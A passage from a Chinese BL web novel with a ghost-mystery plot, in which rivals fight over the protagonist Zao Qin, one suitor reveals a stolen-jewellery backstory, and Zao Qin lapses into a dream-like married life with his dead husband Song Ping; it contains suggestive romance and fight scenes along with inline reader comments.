可是他坐在屋子里裹着被子等啊等,天马上就要黑下去了,枣芩心理反应都感觉自己周身的空气变冷了,瞬间睫毛抖着,心里慌乱起来。 阮秋白或许不来了…… 就像李聿说的那些城市里的坏男人。 枣芩垂下脸,无措地埋进被子里。 不来就算了,他也很讨厌阮秋白,一点都不想让他来,一点都不想看到他。 坏蛋。 门被推开的瞬间,枣芩胸口升腾起的恼火与委屈,瞬间让他瞪了过去,看到人的瞬间,表情微愣。 进来的不是阮秋白,是李聿。 枣芩没有赶他。如果李聿不过来他也很为难,根本不好意思过去。 讨厌他是真的,需要他也是真的。 只是,枣芩心里原本的一点小情绪,在看到李聿身上的衣服后,消失的无影无踪,甚至脸上隐隐泛起尴尬。 这人太抽象了。 李聿穿着件全黑的紧身长袖上衣,领子稍微有些高,布料紧紧包裹着他身体的轮廓,一呼一吸都能看得到。 莫名让枣芩联想到李聿在院子洗澡的场景。 李聿朝枣芩故作散漫看了眼。 枣芩裹在被子里只露着雪白的脸,表情拧巴又拧巴,线条柔和的嘴唇扯着,满脸写着莫名其妙。 实在没忍住开口,“你、这是你的睡衣吗?” 李聿自然回答:“……是。” “好吧。”枣芩对他的话总是很少,侧过脸不再看他,没什么表情。 李聿轻咳了声,“我晚上通常会做锻炼身体,你不介意吧?” 枣芩:…… 他摇摇头,“你随便。” 李聿上了炕,就在枣芩身旁不到两米的地方,做起了俯卧撑,他姿势很标准,手臂肌肉施力。 枣芩余光瞥了瞥,看着他连着做了十几个不带喘气,不免微微瞪大眼睛,手指攥紧了。 看着自己讨厌的人身体这么强,枣芩信不了一点。 他一边心里暗暗数着,一边恶劣的想,李聿一定是在装!实际上已经撑不下去了,只是好面子罢了。 枣芩频频投来的隐秘视线,让李聿腰身都绷紧了,有些做不下去了。 他坐起身,为自己正名,“我一般每天能做一百。” 枣芩没懂他忽然说这话什么意思,小声说:“……俯卧撑而已,很多人都做这么多。” 李聿表情微怔,挑挑眉,又说:“我负重也可以做的。” 李聿这幅牛逼轰轰的样子,让枣芩心中堵塞,偏偏他还知道李聿是真的厉害,可是他就是不想承认。 心中涌现一点恶意,枣芩咬牙,翘着睫毛,“真的?” 李聿吞咽口水,意有所指道:“嗯,我比大多数男人都强。” 枣芩从被子里钻出来,他只套着件睡觉穿得长短袖,白胳膊白腿在灯光下晃眼,他嘴巴抿着,“可以负重的吗?” 李聿僵着张脸没说话,枣芩更来劲了,颇有点想让他出丑的想法。 他过去,慢吞吞跨在李聿背上,“我不重。” 他没想到李聿居然真的开始做了,枣芩瞬间因为他的动作摇晃起来,他去抓李聿身上的衣服,因为太贴身没有抓起来,他赶紧去扣住李聿的肩膀。 像是在骑马一样颠簸。 他稳住自己慌乱的心跳,出声:“一个。” 李聿呼吸微重,“前面的不算吗?” “当然不算!”枣芩脸颊微红。 “两个。” …… “现在才不到三十个。”他感觉李聿的身体已经开始微微发颤了,其实俯卧撑连着做三十个已经非常非常厉害了,还是背上坐着人的情况下。 所以也没有什么得意的想法,只有暗戳戳的心虚。 李聿又做了几个俯卧撑,枣芩眼看着有点不妙,明明看起来快不行了,还有要继续下去的架势。 他说:“要不算了……” 他这句话说出口,身下的人忽然落下去,一只手叩着枣芩的腿,直接转了个身,正面对向枣芩。 枣芩都不知道他是怎么办到的,自己的身体只是稍微倾斜了下,随后又很快稳住,他就已经岔开、腿,正面坐在了李聿腰腹上,他腿下意识夹了夹。 身下的李聿整个疏离冷淡的脸暴露在灯光下,他视线一错不错盯着枣芩荏弱的脸。 枣芩咬着嘴唇,手撑在他胸口的位置,看向他明明是居高临下的,却依旧莫名有点慌张的可怜。 李聿呼吸瞬间加重,他从未有过这样的体验。 冷峻脸上弥散开从来没有过的迷离红晕,他咬着后槽牙,把着枣芩的大腿让他往前挪了挪。 枣芩因为他的动作眉头轻皱,看向他的脸后,微微愣了下,随即琥珀色瞳孔中闪烁,似乎想到了什么,咬了下唇,就那么突兀说出一句。 “你好浪。” 李聿浑身的神经都被电击,从后脑麻到尾椎骨。他喘气的幅度更大,连带着枣芩的身体都微晃。 枣芩完全是出于报复心理了,可说完后,他看到李聿的表情,实在看不出对方一点气愤难受。 因为坐在李聿身上,说了那样的话,李聿还不反抗。 让枣芩产生一种自己很牛,可以对他做任何事的感觉,他想了想,又想到一句。 这句话他还没说,只是在心里想想,脸已经红了。 李聿吞咽口水,“芩芩、” 枣芩声音抖着,故作镇定的挺着胸膛,说了句:“你还很、、、骚。” ……现在算是报仇了吧。 第42章 第 42 章 你们不要再打了 【伤敌0自损一千啊老婆】 【立了。】 【代入了……宝宝我比他还烧, 你看看我、我要当你的狗】 【李狗你大爷的,爽死你了吧?「怒」】 枣芩白脸蛋上火烧似的,说完垂下头, 根本不敢正眼去看李聿, 心中隐隐生出悔意。 他抿住嘴巴, 后悔自己的一时嘴快。 李聿也没出声, 屋内安静到针落可闻,不断烘托枣芩的尴尬。 他垂着眼睛看着自己放在李聿胸口的手, 才察觉自己的屁股也结结实实坐在对方腰腹上, 脸霎时又加温了。 小孩才会用这种姿势坐在别人身上。 微颤的指尖慢吞吞撑了下,枣芩想要起身离开, 他的意图太过明显,被对方察觉到。 忽然间,枣芩视野被迫旋转,他短促“啊”了声。 反应过来时, 他已经被李聿调换了位置,背贴着被褥。 腿还卡在对方腰侧, 李聿单手掐着他的大腿,轻轻揉弄。双眼被洗过的散乱额发半遮,缝隙间透着赤红,直勾勾盯着枣芩。 枣芩脑子一瞬间空了, 呼吸滞顿, 耳边嗡嗡作响。 李聿呼吸沉重,高大身形撑在枣芩上方,投下一片巨大的阴影,黑沉沉笼罩着枣芩。 他蓦然开口,嗓音低而轻, “那我应该如你所愿,嗯?” 枣芩还没反应过来似的,圆润弧度的眼睛呆呆眨了眨。 明明就胆小的要命,说那话的时候羞得恨不得钻进他怀里、埋起自己的脸。 还偏要像是骄傲的小猫似的,居高临下、自以为是的欺负别人,殊不知—— 李聿牙尖泛着痒,只会让别人想咬他一口。 枣芩被他这种视线盯着,下意识有些怕,他轻咬着舌尖,想起身钻出去,却被按住了手腕。 他呼吸急了急,没什么威慑力的瞪了眼李聿,“你起开。” 李聿抬头不知道看了什么东西一眼,眉心蹙了下,眼中划过被打扰的冷,以及漠视。 枣芩此时看不见。 门被悄无声息的推开,一个戴着口罩的高大男人推门而入,步子顿在门口。 李聿牙齿轻磨,迫不得已加快了进度。 视线落在枣芩饱满的唇上,指腹轻轻按压下去,又凉又软,看起来很好弄。 他眼底欲海翻滚,语气轻哄:“宝宝,张嘴。” 随即便要俯身下去。 发觉的时候已经来不及了。 巨大闷响过后,李聿额头传来一阵剧痛。 他眉头控制不住紧紧皱起,疼痛让他短暂失去对自己身体的掌控,被别人的力度从枣芩身上掀开。 枣芩一张顶漂亮的脸因为他的离开,暴露在灯光下,因为刺目,而微微侧头躲开。 动手的阮秋白戴着口罩,眼镜镜片的冰冷反光下,是一双静默的眼。 他是在完全清醒的情况下做出来的。 当着他的面想要亲枣芩,李聿想死。 枣芩都不知道发生了什么,只见李聿手掌按着额头,瞳孔猛的收缩,他慢半拍起身去看。 就见阮秋白手中拿着铜制坚硬的水瓢,站在刚刚他头前方的位置。 显然就在不久前,他就那么没有收一点力,用这东西,砸在了李聿头上。 他浑身僵着,喃喃出声:“阮秋白。” · 龙保岐偷偷摸摸出了门,踩着清凉夜色,专门绕近路来找枣芩。 一路上心脏砰砰直跳,无比的清醒,满脸的急色与兴奋。 不停脑补枣芩此时此刻在干什么,睡没睡觉。 宋平不在了之后,晚上一个人睡怕不怕? 木门半开着,龙保岐彻底推开进去,当下就察觉了不对劲。 屋头内灯亮着,光投在院里。 没关好的门缝中传出阵阵响声,很怪异,像是拳头砸在肉上的声音,还有喘息声。 他心脏不可抑制的抽动,脚步加快到了门口,看到里面的场景,瞳孔骤然缩了缩。 他担心一个人睡觉怕不怕的枣芩,哪里是一个人? 他屋内两个男人扭打在一起,不知是发生了什么事情,动手的力道仿佛想杀了对方,像两头失去理智的野兽。 枣芩小脸煞白,只穿着一件长T恤,露着白腿,手忙脚乱下了炕。 连鞋子都没有穿,赤着脚,无措看着他们。 龙保岐神色登时沉下。 阮秋白的口罩被李聿意外扯掉,在场的人都怔了怔。 他脸上红一块青一块,像是被打乱的调色盘,又像鬼煞,看着让人心惊。 阮秋白动作没停,对着李聿脸上又来了一拳。 枣芩看着眼皮都跳了跳,他真的有点怕,忙喊了声:“阮秋白,你别打了。” 本是想阻止,结果两人都因为这句话,怒火又烧得旺了几分。 阮秋白觉得枣芩只让他停下来,是想护着他哥哥。 李聿则觉得,人在这种情况下,会下意识喊自己亲近的人。 龙保岐推开门进去,几步来到了枣芩身旁,关切看着他的脸,问:“他们疯了?” 枣芩看到了他,仿佛是在慌乱中看到了可以求助的对象。 枣芩抬着脸,忙不迭说:“你快,快别让他们打了,他们不知道为什么打起来了。” 龙保岐被枣芩这样看着,下意识听他的话,自己也不知道自己在干什么,已经上去拉架了。 阮秋白脸上不知是打出来,还是什么情况的斑驳颜色,都让他眉头忍不住皱起。 李聿的头发被抓得凌乱,脸上多了道血痕,额头也肿着。 把他们拉开,龙保岐都不知道他们为什么会打起来,只觉得像两条疯狗。 被他拉开的阮秋白在原地顿了秒,在龙保岐没有反应过来的时候,转头扎进了他身后的枣芩怀里。 一个大高个缩着,脸埋在枣芩脖颈间,刚刚打过架的滚烫气息不断喷洒在枣芩敏感皮肤上。 枣芩忽然被扑过来,不免呆滞了下,他睫毛颤颤,“你干嘛打人啊?” 他说话的时候声音都是颤的,显然是被阮秋白的行为吓到了。 哪怕他们现在已经休战,枣芩的心依旧猛烈的跳,消停不下来。 阮秋白手臂轻轻搭在他腰上,环住他,呈现出一个依赖的姿势。 他声音哑而颤,“我、他强迫你压在你身上,我没控制住,你怪我了吗?” 他抬起一张有点恐怖的脸,对上枣芩,语气自带的可怜气质都增添了几分凄惨…… 枣芩刚想问问他的脸怎么回事,听到一句骂,随后又是一阵扭打在一起的声响。 枣芩看过去,龙保岐怒不可遏拽着李聿的衣领,挥拳过去,被李聿躲开。 “我操你大爷,你压在他身上?!”龙保岐又一拳过去,“你想干什么!” 枣芩快要被着接连不断的混乱搞得哭了,怎么又打起来了。 他赶紧拉了拉阮秋白的袖子,“你快点去拉架呀。” 阮秋白回头皱眉,冷冷瞥了眼,浑身无力趴在枣芩怀里,语气虚弱,“我被打的头疼,芩芩,我缓一下好吗。” 枣芩不知道自己该怎么办,但阮秋白的状况确实不好,也确实是因为担心他才上去打人的。 他只能扶着阮秋白的炕上,让他躺上去。 阮秋白乖乖顺着他的动作,见阮秋白躺好,枣芩才过去,想要自己去吧他们弄开。 阮秋白见状,忙起身去勾了一下枣芩的腰,把他勾了回来,他沉默片刻,说了句:“……我头不疼了。” 三人这才算休了战,除了枣芩全都多少负了伤。 三个人一人站一个方向,李聿是众矢之的,其他两人恨不得把他活剐了。 李聿口腔内一阵血腥气,舌尖舐过,他掀起眼皮。 他怎么能忘了这两个野狗。 枣芩是他的。他是枣芩的第一任未婚夫,也是最后一任。 “芩芩。”他缓缓开口,如果不是他刚才也打的很凶,都要让人觉得他是受害者。 “我只想解释一下,我没有强迫你的意思。你说了我骚之后,我就是有点难受,打算起来的,只是还没起来就被他打了,现在头有点疼。” …… “什么?”龙保岐别的没听到。 光听到了那句枣芩说李聿什么? 枣芩脑袋都快要烧起来了,呆呆看着他,“啊、嗯。” 李聿在说什么啊!!! 怎么能当着别人的面,明目张胆的说出那个字,还说是他说的。 他难道没有羞耻心吗? 克隆羊多莉只活了六年,这是阮秋白想说的。 他倒没什么反应,阮秋白拉过枣芩的手腕到自己身后,枣芩嘴唇不可抑制的哆嗦了下。 龙保岐看了眼枣芩,又看向李聿,终于注意到了他身上的衣服,胸口的火气不断升腾。 原来他不在的时候,李聿就是这么勾引枣芩的。 龙保岐说话毫无遮拦,冷笑一声,“说的有错吗?伤心你去死啊,没人拦着你。” 第43章 第 43 章 “老公,你在哪里”…… 李聿根本不在意龙保岐的犬吠, 毕竟龙保岐在他眼里就是个毛都没长齐的小屁孩,都不知道有没有成年。 跟他们之间一时的口舌之快不算什么,改变枣芩原本对他根深蒂固的坏印象, 才是他此时此刻最应该做的事情。 视线不动声色的扫视屋内, 最终停在阮秋白身后的枣芩身上。 枣芩光裸的脚半叠在一起, 一只踩在另一只脚背上, 雪白单薄的皮肤上分布的淡紫色的脉络,似乎有点紧张的瑟缩。 再往上肤肉白腻。枣芩刚才就穿成这样, 坐在他身上, 像骑马一样两腿夹住他。 李聿难免后悔起自己光顾着享受,没有仔细观察, 认真记住每一个细微动作的起伏,每一个勾人的表情。 而另外两人那一致对外的模样,无非就是嫉妒。 他们自己做不到,所以嫉妒他, 嫉妒到恨不得他死。 李聿唇角勾起一个弧度,不小心扯到嘴角的伤口, 也不知道是对面两个谁打出来的。 他轻舔过去,一阵刺疼。 男人的嫉妒心真是可怕。 他高大身形躬了点,艰难透出几分黯然神伤,步伐都略带踉跄。他朝枣芩走近两步又猛地停住, 似乎有话要说也都咽回了肚子。 好一会, 才说了句,“对不起,我好像确实不招人喜欢。” 随即便转身要走。 枣芩手指没忍住动了动,被一只干燥温热的大手按住。 他骂李聿,李聿一点都不冤枉, 李聿也对着他说过难听话,他只是加倍奉还…… 可是李聿夜里来陪他,被他又坐又侮辱就算了。 头上挨了一瓢这件事,确实有点无辜。他原本以为李聿翻身过来想欺负他,可李聿说自己只是想离开。 阮秋白不轻不重捏了捏他的手,枣芩收回视线,下意识抬脸看过去,是阮秋白正凑过来的一张花花绿绿的侧脸。 枣芩忽然看到这模样,被吓得后退一步,瞳孔都缩了下,但好在表现的并不是很明显。 阮秋白没变的声音才让他找回熟悉感,“你让他们走,我有重要的事情和你说。” 他凑在枣芩耳侧,一只手伸到枣芩后脖颈轻轻揉弄,声音小到只有两人听得见。 枣芩微愣了下,预感到什么,迟缓点点头。 于是他抿住嘴唇,就那么看着李聿动作缓慢、行动艰难,几分钟才走出屁大点屋子。 “你这表情什么意思?” 李聿刚出去,屋内就突兀响起龙保岐带着怒意的声音。 枣芩立即看过去,龙保岐没好气瞪着面无表情的阮秋白,枣芩一看他,他表情立马含着委屈,嘴角往下撇,说:“他想赶我走。” 像是希望枣芩主持公道。 枣芩嘴巴张了张,难为情,“啊、” 阮秋白又重复了捏他手的动作,随后语气没什么起伏,主动开口,“大半夜你的身份在这里不合适。” “呵。”龙保岐冷嗤了声,看着阮秋白那副表情无语了,“我不能在这,你就能在这?” 他微抬下巴,面带挑衅,“请问你什么身份?” 阮秋白微笑道:“我是他的情人。” “……” 好一个正大光明的情人。 龙保岐一下子打了磕巴,口头的话绕了一圈,又咽了回去。 不要脸。 “他是我嫂子,我怎么没资格了?你一个小三在这里张牙舞爪,你问过我表哥和我的意见了吗?” 龙保岐长腿两步过去,握住枣芩的另一只手腕,两人僵持着,谁都不肯放。 枣芩正在他们两个中间,被搞得头都大了,脸色并不好看。 屋顶的灯光打在他脸上,平整的皮肤上呈出好看的阴影,他睫毛下的暗处扇动几下。 眼看着两个人还要再说什么,枣芩开口打断,朝龙保岐说:“你这么晚不回去,你妈妈会担心你的。” 龙保岐眉心隆起,不敢置信地看着他,“你就是想让我走吧?” 什么妈妈担心,他又不是三岁小孩了。 枣芩的态度,简直让龙保岐心碎了一地。 枣芩这完全就是在向着他的情人,还是一个毁了容,丑不拉几,身上没几两肉的情人。 龙保岐咬咬牙,垂死挣扎最后一下,他声音和气势都低下去,“我走了,他欺负你怎么办?” 枣芩神色顿了顿。 阮秋白下一秒就说:“不可能。” 枣芩看了他眼,也跟着点头,“不可能。” …… “行!”龙保岐已经不知道该说什么好了,大晚上的跑这么一趟,和人打了一架,还要被无情赶走。 龙保岐满肚子气的背影刚离开,枣芩立马追问阮秋白,“你的脸怎么回事啊?” 被他面对面直勾勾看着,阮秋白视线下意识躲了瞬,用手中的口罩遮住自己的脸,露着的上半脸颧骨处还有一些没有遮住的红斑。 但确实比刚才好些了。 阮秋白拉着枣芩坐在炕边,自己站在他身侧。 他沉默半晌,在枣芩又忍不住瞟了他一样后,认真问:“你没有想过欺负你的鬼是谁吗,这个岛上最近一年都只有一个人去世。” 他深邃的瞳孔像深不见底的黑海,淡漠又晦暗不明,隐藏在眼镜后头,让枣芩忍不住想避开。 他怎么能完全没想过,他又不是个傻子,只是、他不愿意承认。 宋平死后成了鬼,甚至对他抱有恶意…… 阮秋白手指勾着耳侧的口罩绳,缓缓地摘下,再次将一张可怖的脸露了出来。 五官轮廓还是原来的样子,只是皮肤上的颜色太显眼了,简直像是怎么丑怎么分布的。 阮秋白垂着眼:“就是他做的,他想要赶走你身边的人,那样他就可以肆无忌惮的欺负你了。” “他已经不是活着的他了。”阮秋白再次将口罩戴上,其实他也不想把这样的自己展现在枣芩面前。 枣芩沉默着,听了他的话,低头不知道在想什么。 阮秋白忍不住想催促,握住他的手,去看他的反应,“跟我走吧,我什么都不要了,我们一起离开这里。” 他眼神中的期待没有遮掩,忽然想到什么,又补充:“我的脸会治好,最多半年,不是什么严重的东西,我会让你过上好日子,比这里好千百倍。” “……” “如果你愿意就点点头,我们马上离开,收拾你想带的东西。” 枣芩肩膀缩了下,他不能离开,他来这里不是为了生活,是为了找出凶手。 他对着阮秋白摇摇头,对方因为他简单一个动作,瞬间仿佛被一层灰雾笼罩,失了精神气。 “我要找杀了他的凶手,找到了我才会离开这里。”枣芩对他解释,琥珀色的瞳孔清透纯粹,此时里面透着探究与怀疑。 枣芩忽的直白问:“是你吗?” 阮秋白被这一瞬间的枣芩身上迸发的、与平时不一样的气息,弄得愣了下。 他喉结动了动,随即摇头,坚定道:“不是。” 枣芩嘴型跟着他重复了遍‘不是’两个字,听到这个答案,却并不开心,喃喃:“也不是你?” 枣芩并没有因为对方的一句否认而打消自己的怀疑,他抿抿唇,表情专注,随即抛出一连串的问题。 “那你为什么出现在这里?又为什么接近我?为什么问我宋平平时哪里奇怪?为什么相机里那么多宋平家附近的照片?为什么装作喜欢我?” 接连不断地质问,阮秋白不敢打断他,只能在他说话时摇头。 枣芩之前就在怀疑了,自己是怎么喜欢上的阮秋白,又为什么刚来的时候是一个溺水的状态。 直到他从宋莲莲那里知道了,他和阮秋白第一次接触的情形。 是他不小心溺水,被阮秋白救了上来,阮秋白便顺便跟他说了自己是来自大陆的大学生,已经来岛上几天了,他特地来采风,还说自己是个医生。 刚开始还主动关心了枣芩几天,说有不舒服就去他那里,他随时欢迎。 来时的那次溺水,或许也是自己为了吸引阮秋白的注意力。 可初次的相遇分析起来其实处处都是疑点,阮秋白绝不是那种把他救上来,还要再关切几天的性格。 如果阮秋白本身就是抱有目的的接近,希望通过他知道什么,或者做什么,反倒说得通了。 “没有装作喜欢你。”阮秋白忙不迭反驳最后一个问题,“是真的……真的喜欢你。” 枣芩却只想着,他并没有否认别的,就代表别的都是真的,他也确实有着目的来到这里。 阮秋白好像卸去了什么东西,他呼吸粗重,控制不住的搂住枣芩,好像只有贴近他,才能寻求到安全感。 “如果能顺利拿回东西,我的第一想法绝不是动手,我承认我想过,但我还没来得及。” 枣芩被箍得不舒服,伸手推他的胸口,让他松开一些,阮秋白也确实只松开了一些。 枣芩感觉自己触碰到了一些关键的东西,心脏不由得一紧,小声试探:“什么东西啊?能告诉我吗?” …… “他居然没跟你说过。”依旧是带点戏谑惊讶的语气,和李聿也同样说过的一句话。 接着阮秋白说了一个故事,一个真实发生的事情。 很多年前,他奶奶家被一伙人偷窃,偷走了很重要的珠宝首饰,不仅仅是它们价值连城,还有它们的意义。 阮秋白出生的时候,已经找回来了一部分,但还有更多的不知所踪。他奶奶希望阮秋白能把那些东西找回来,阮秋白几乎是抛弃所有事情查了一年。 “好像有人带着他们藏起来了,怎么也找不到。后来经过调查以前的卷宗,发现那天之后没多久大部分参与那件事的小偷都死了,只有一个人找不到了。” 枣芩只听到了这里就立即联想到了,他愣了秒,“宋平的爸爸,是吗?” “好棒,一下就知道了,我找了好久。”阮秋白食指指骨轻轻勾了下他的鼻尖,随即见缝插针。 “对于他们这种普通人来说,那些东西都能当传家宝了,你作为他的妻子他居然都没有给你透露过一点。” “宝宝,如果是我,我所有的东西你都会知道。” 枣芩微垂眸,好像因为他的话有点落寞,看得阮秋白都有点心疼。 但其实枣芩只是在想,那会是谁?难不成是岛上其他人,还是当天的游客? 可是他们都已经离开了,想要调查他们难道还要离开这个岛。 枣芩有点愁,闭了闭眼,呼出口气,“那你之前说要帮我的,调查那些游客好了吗?” “基本都查到了,都没有问题。”阮秋白停了秒,“只除了一对情侣,户籍地在我们比较敏感的一个城市,所以没有查到。” “我可以跟你离开、”在阮秋白努力压抑着欣喜的表情中,枣芩后半句,你必须先帮我找到凶手还没有说完。 周身被一种完全都不正常的冷,瞬间弥散包裹。 原本抱着枣芩的阮秋白瞬间被一股不知名的力量击飞出去,狼狈摔在他身后不远处的柜子上,柜子木板瞬间裂开巨大的缝隙。 枣芩瞳孔骤然紧缩,极度的冰冷下,他也浑身失去力气,摔倒在地面上,喘着息,头脑的意识开始涣散。? 又是一个明媚的艳阳天。 枣芩缓缓睁开眼睛。 他从小生活在夏岛上,他的父母还没去世,他就嫁给了早与他心意相通的爱人——宋平。 他的爱人是一个渔民,他勤劳勇敢大方,最重要的宋平非常非常爱自己的妻子,愿意用自己的一切保护妻子。 枣芩也很爱他,每天醒来的第一件事就是确保他在不在。 才刚刚朦胧醒来,他伸手揉了一下眼睛,雪白脸上的睡意还未褪去。 已经先一步喊了,“老公,你在哪里啊?” 门帘被撩开,高大的男人走进屋子,一边甩干手上的水,低沉声音传过来,“老婆,我刚刚在给你洗衣服。” 第44章 第 44 章 小船的命运 枣芩稍微起身, 半睁着眼睛看去,光从门框照进来,正午强光对比下, 枣芩一瞬间觉得宋平的脸有些模糊, 有些陌生。 像是有一段时间没有看到过他了。 可是他的记忆中, 他和宋平从来没有分开过, 昨晚都是一起睡觉的,只是宋平起得早。 只是他回想, 却想不起他睡前具体发生了什么。 宋平几步过来低头吻在他额头上, 枣芩躲了下没躲开,还是被吻上, 原本的思绪被打断。 “去洗把脸吗?”宋平声音低沉,水渍没有干透的大手摸上枣芩白腻的脸颊。 枣芩想了想,朝他点点头。 宋平依旧套着件背心,常年干体力活的身材壮硕又有力, 肌肉线条清晰。 一把将枣芩捞起来抱在身上,枣芩被他的动作直接弄清醒了。 他表情急慌慌握着宋平的手臂, 瞬间明白了宋平要干什么,忙不迭说:“我自己去。” 被人抱着去洗脸,跟个小孩有什么区别,丢脸! 宋平似乎知道他的想法, 轻笑了声, 哄道:“又没人看见,家里只有我们两个。” …… 枣芩闭着嘴巴,看了眼洗脸盆的位置,沉默了两秒。 其实心里也没太多犹豫的想法,只是觉得应该表现出自己在纠结, 显得他好像是很无奈才同意的。 懒惰理所应当的战胜了那一点点羞耻心。 他告诉自己,他们要生活一辈子的,互相帮助很正常呀。 枣芩不太好意思,飞快点了下头。 宋平像没看到,又问了一遍:“我抱你去洗脸吗?” 说的这么清晰,枣芩身上都有点燥了。 他咬着唇,又再次点了点头,“……行。” 搪瓷脸盆放在脸盆支架上,宋平伸手试了试温度,水温刚好,他随后把枣芩的毛巾浸入水中打湿。 枣芩自如的挂在宋平身上,四肢缠着他的身体,让他把两只手都腾出去,没忍住打了个哈欠,眼底湿濡起来。 宋平用湿毛巾给他擦脸,枣芩就乖乖闭上眼睛,仰着一张小脸迎接。 当带着湿意的温热毛巾拿开后,枣芩皮肤水润润的,眉毛睫毛都被擦的毛流清晰,眼尾的几根睫毛向下粘在了眼尾下方,但很快就被它的主人揉开。 在宋平眼里,就是特别清丽特别纯特别好看的出水芙蓉。 这还是他艰难从自己没有多少词汇的词库中揪出来的。 他搂着细腰,手痒得不行,直接亲在了枣芩刚刚才擦洗过的脸颊上。 枣芩突然被亲了口,躲也躲不开,但生气也没有很生气,故作愤怒的瞪了对方一眼,手背擦过自己的脸颊。 气呼呼说:“我刚洗了脸,你干什么啊?” 他略带嫌弃的动作,让宋平眸光闪过一点不明的晦暗情绪,但很快被隐去,并没有被枣芩察觉。 宋平手臂紧搂着他,就往炕边走,边往炕上抱,一边嘴就枣芩嘴唇上凑过去。 枣芩立马抿着嘴唇,扭头躲开。 宋平不知道是怎么了,今天一醒来就对着他又亲又抱,黏黏糊糊,这个怪异的样子简直不像他。 他总觉得,宋平应该比现在的他再内敛一点,不会这么急切又亲密,更不会跟现在一样。 ——立即跟着他扭头的动作吻上去,抚摸他的腰,撬开枣芩的唇舌,湿热热的不顾他的抗拒,开始深入掠夺。 之后又很温柔,顾及起枣芩。 枣芩眼睛半闭上,睫毛虚虚搭着,整张脸上被吻的粉粉的,他抑制不住地从唇舌间的缝隙中,漏出两声哼哼,也分不清是舒服还是难受。 但是这两声哼哼让宋平很难受,呼吸都烧的更加粗重灼热,他的手伸向枣芩后脑勺的位置,往自己的方向压。 喉结上下滚动,吞咽着什么。 枣芩舌头都有点疼了,他开始装哭才被松开。 顶着水红的嘴巴,恶狠狠的说“烦人”,往炕上一翻,不理人了。 【啊啊啊呜呜,嘴巴酸酸的】 枣芩委委屈屈在心里说完,等了一会没有得到回应,突然反应过来自己在干什么。 居然在心里自言自语,还觉得会有什么回应他。 枣芩摇摇脑袋,想把怪异的感觉甩出去。 他并没有听到宋平离开的声响,所以他不用看都知道宋平肯定在看着他。 特别讨厌。 枣芩刚睡醒也睡不着了,嘴唇上晕开的红还没有消下去,他把坐一旁的宋平当作空气,爬起来穿上鞋走了出去。 屋外阳光明媚,甚至晃眼。 院中本来应该光秃秃的的地方,居然用砖块修起了一个小花圃。 里面分区种着不一样的花,他们搭配起来显得相得益彰,完全就是枣芩心目中最漂亮的小花圃的样子。 他看到惊讶的嘴唇都张开了,踩着拖鞋快步过去,小心翼翼地抚摸过一片栀子花纯白的花瓣。 是真的小花。 宋平的声音自身后响起,他的口吻像是在寻求夸奖,“你喜欢吗?” 枣芩偷偷瞄了他一眼,没有回答,看了片刻后,才慢吞吞地点了点头。 在几个屋子里百无聊赖的瞎逛了一下午,枣芩发现另一间屋子里还有冰箱和风扇。 冰箱里面还放着被冰冻的饮料和冰棒,一看就特别解暑,冬天的时候还可以用来贮藏食物。 枣芩恍然觉得,他和宋平结婚真是他爸妈做的一个很正确的决定。 在整个小岛上,又有几户人家能买得起这些东西,承担起一年四季的电费呢,听说在大陆上都没有多少人能买得起。 枣芩红艳艳的舌尖舔着冰棒,也不觉得疼了。 他好像还是蛮幸福的,想要的东西也都有。 宋平对他也不凶,还会帮他擦脸。 枣芩越想越满意。就连晚饭也格外的丰盛,味道更是完全对上枣芩的胃口。 他就一点气也生不起来了。 洗簌完,灯光昏昏暗暗,氤氲出一种朦胧的氛围。 枣芩鼓鼓嘴巴,因为嘴里还残留着薄荷牙膏的味道,不太舒服。 头顶还搭上一块白色的毛巾,黑色发丝并没有擦干,还往下滴着水,掉落在衣服上就变成了深色的小圈。 宋平坐在炕上等他,手里捧着一本书,低头很专注地在读着,看到有些地方眉头轻轻皱一下,似乎是在思量。 枣芩觉得这个场景怎么看怎么别扭。 他头歪了歪,很好奇宋平这种从来不看书的人在看什么,轻手轻脚走过去。上炕的时候,拖鞋不小心掉在地上,发出一声不轻不重的响。 明明不是什么大事,枣芩还是不可避免的紧张了一下,身体僵住,大着眼睛,迟缓去看宋平。 他的运气很好,对方或许是看书太专注了,并没有回头查看。 枣芩轻轻松了一口气,他倒要看看宋平在看什么好东西。 他来到男人身后,被他宽阔的后背遮挡,枣芩只能小心翼翼够着脖颈,唇微张着去看。 紧接着看到的东西,让枣芩浑身的血液都要停住了,他睫毛控制不住的乱颤,脸颊一会白一会红,烧的他脑袋都晕了。 疯了…… 宋平!他居然在看!黄色的东西! 这书压根都不是什么正经书,通篇都是一些七扭八歪的图案,旁边还有展示着步骤,下面搭配几个字在讲解。 就是不堪入目的东西。 宋平居然看得津津有味,连他在他身后都没有发觉。 偏偏就在这个时候,枣芩要装作自己什么都没有看到、转头的时候。 宋平忽然像是终于发现了他,回过头黝黑脸上惊讶地说,“老婆。” 同时还把那本都不配被叫做书的东西,往他自己的枕头下面塞,欲盖弥彰。 枣芩本来为了避免尴尬,都打算装作没看见了,可是看到他的这个动作,就下意识没好气的质问:“你在看什么东西啊!” …… 宋平不说话,眼神都有一些躲闪,心虚不已的窘迫模样。 看在枣芩眼中,对方的尴尬反而把自己的尴尬压下去,瞬间感觉自己站在了道德制高点上,抓住了宋平的把柄。 他唇瓣抿着,盯着宋平,警告说:“你以后不准看这些坏东西。” 大高个宋平乖乖地被训,黑眸压着,头顶光线往下照着深邃的眼窝,整个眼眶都在阴影中。 “老婆,这不是坏东西。” 还敢顶嘴。 枣芩愣住,“…………” 宋平忽然朝着他的方向过来,枣芩错愕了秒,不知道他要干什么,两人被拉近到一个没有边界的距离。 枣芩满头问号,眨巴着眼睛,忽然被握住了手,两只颜色截然不同、对比明显的手握在一起,像黑熊跟白色的兔子。 宋平的手异常的灼热,他嗓音低低的,和他的古板小老婆解释,“岛上夫妻都会做这种事情,不是坏事。” “……” 枣芩白皙脸颊上晕开并不明显的粉,他侧开视线。 宋平轻笑一声,看着自己手中枣芩白生生的手,揉弄起来,蓦然问:“上次弄得不舒服吗?” 枣芩的手被弄得不舒服,他抽回自己的手,一下子没有反应过来上次是哪次。 虽然并没有想起来,但他的脑海却第一时间有了那种感受,简直快要哭了、又很舒服的感受,而且异常的清晰,证明着他真的感受过一次。 瞬间,枣芩的指尖都染上了粉,光是看着他的手,都能想到他被衣服遮盖的身体是什么颜色。 “老婆,不舒服就说停,我很听话。”宋平凑过去,像是在和他说悄悄话,“嗯?你不舒服我也会难受。” 虽然他现在已经难受得不得了了。 宋平这样的老实人,谁信不过呢? 灯没关。 美其名曰,不让枣芩在黑暗中害怕。 